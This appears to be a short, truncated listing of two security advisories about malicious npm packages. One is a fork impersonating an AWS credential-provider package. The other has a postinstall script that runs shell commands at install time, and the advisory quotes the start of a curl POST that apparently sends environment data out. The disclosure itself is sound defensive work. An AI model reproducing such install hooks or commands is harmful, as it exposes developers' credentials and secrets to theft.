Malicious code in @depup/aws-sdk__credential-provider-process (npm)

Source: amazon-inspector 1b8db6e7dceac14f7371e7884b9252f3d3c39f37263839bb043b09354d5d2a0d @depup/aws-sdkcredential-provider-process is a republished fork of the official @aws-sdk/credential-provider-process package. It preserves AWS author, homepage, and repository metadata to present itself as a...

Malicious code in @cy4dev/cydemo-bg-color (npm)

Source: amazon-inspector 5e0e5eedb2c2a44513fd808788f02499f57e3c2877c4c69d8a84b0d4038d7fe0 @cy4dev/[email protected] ships a postinstall lifecycle script src/postinstall.js that runs at npm install time and invokes node:childprocess.exec with two shell commands. The first, curl -X POST -d \env...